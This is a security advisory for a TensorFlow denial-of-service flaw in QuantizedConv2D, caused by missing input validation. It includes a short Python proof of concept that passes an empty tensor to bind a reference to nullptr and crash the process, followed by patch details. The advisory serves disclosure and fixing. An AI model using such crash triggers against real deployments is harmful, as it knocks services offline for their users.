PT-2026-59841 · Pypi · Tensorflow
Published
2026-07-09
·
Updated
2026-07-09
CVSS v3.1
5.5
Medium
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of [
tf.raw ops.QuantizedConv2D](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized conv ops.cc) does not fully validate the input arguments:python
import tensorflow as tf
input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
# bad args
min input = tf.constant([], shape=[0], dtype=tf.float32)
max input = tf.constant(0, shape=[], dtype=tf.float32)
min filter = tf.constant(0, shape=[], dtype=tf.float32)
max filter = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw ops.QuantizedConv2D(
input=input,
filter=filter,
min input=min input,
max input=max input,
min filter=min filter,
max filter=max filter,
strides=[1, 1, 1, 1],
padding="SAME")In this case, references get bound to
nullptr for each argument that is empty (in the example, all arguments in the bad args section).Patches
We have patched the issue in GitHub commit 0f0b080ecde4d3dfec158d6f60da34d5e31693c4.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow